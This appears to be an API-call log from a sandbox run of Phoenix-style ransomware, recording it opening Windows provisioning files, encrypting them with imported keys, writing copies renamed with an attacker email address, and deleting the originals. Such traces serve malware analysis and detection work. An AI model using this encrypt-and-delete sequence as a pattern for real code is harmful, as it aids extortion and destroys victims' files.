	[0254.749] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\563__connections_cellular_orange (tunisia)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.749] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.749] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.749] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\563__connections_cellular_orange (tunisia)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.750] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1511c0) returned 1
	[0254.750] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.750] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d3, lpOverlapped=0x0) returned 1
	[0254.861] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0254.861] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.862] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0254.862] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.862] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.862] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.862] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.863] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0254.863] CloseHandle (hObject=0x2f4) returned 1
	[0254.863] CloseHandle (hObject=0x2d8) returned 1
	[0254.863] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\563__connections_cellular_orange (tunisia)_i4$(__mvid)@wap.provxml")) returned 1
	[0254.864] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.864] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\566__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.865] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=858) returned 1
	[0254.865] CloseHandle (hObject=0x2d8) returned 1
	[0254.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\566__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\566__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.865] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\566__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.865] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.865] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.865] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\566__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.866] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0254.866] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.866] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x35a, lpOverlapped=0x0) returned 1
	[0254.873] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0254.873] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0254.874] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0254.874] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.874] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0254.874] CryptDestroyKey (hKey=0x151140) returned 1
	[0254.874] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0254.874] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.874] CloseHandle (hObject=0x2d8) returned 1
	[0254.874] CloseHandle (hObject=0x2f4) returned 1
	[0254.874] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\566__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.876] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.876] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\568__connections_cellular_digi.mobil (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.879] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=783) returned 1
	[0254.879] CloseHandle (hObject=0x2d8) returned 1
	[0254.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\568__connections_cellular_digi.mobil (romania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\568__connections_cellular_digi.mobil (romania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.880] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\568__connections_cellular_digi.mobil (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.880] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.880] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.880] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\568__connections_cellular_digi.mobil (romania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.883] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0254.883] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.883] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x30f, lpOverlapped=0x0) returned 1
	[0254.891] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310, dwBufLen=0x310 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310) returned 1
	[0254.891] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x310, lpOverlapped=0x0) returned 1
	[0254.892] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0254.892] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.892] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.892] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.892] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.892] CryptDestroyKey (hKey=0x151600) returned 1
	[0254.892] CloseHandle (hObject=0x2d8) returned 1
	[0254.892] CloseHandle (hObject=0x2c8) returned 1
	[0254.892] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\568__connections_cellular_digi.mobil (romania)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.894] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.894] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\56__connections_cellular_sercomtel (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.894] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=720) returned 1
	[0254.894] CloseHandle (hObject=0x2c8) returned 1
	[0254.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\56__connections_cellular_sercomtel (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\56__connections_cellular_sercomtel (brazil)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.895] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\56__connections_cellular_sercomtel (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.895] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.895] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.895] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\56__connections_cellular_sercomtel (brazil)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.896] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0254.896] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.896] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.903] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0254.903] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.904] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0254.904] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.904] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.905] CryptDestroyKey (hKey=0x151180) returned 1
	[0254.905] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.905] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.905] CloseHandle (hObject=0x2c8) returned 1
	[0254.905] CloseHandle (hObject=0x2d8) returned 1
	[0254.905] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\56__connections_cellular_sercomtel (brazil)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.906] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.906] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\571__connections_cellular_telekom.ro (romania)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.907] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=893) returned 1
	[0254.907] CloseHandle (hObject=0x2d8) returned 1
	[0254.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\571__connections_cellular_telekom.ro (romania)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0254.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\571__connections_cellular_telekom.ro (romania)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.907] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\571__connections_cellular_telekom.ro (romania)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.907] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.907] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.907] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\571__connections_cellular_telekom.ro (romania)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.908] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0254.908] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
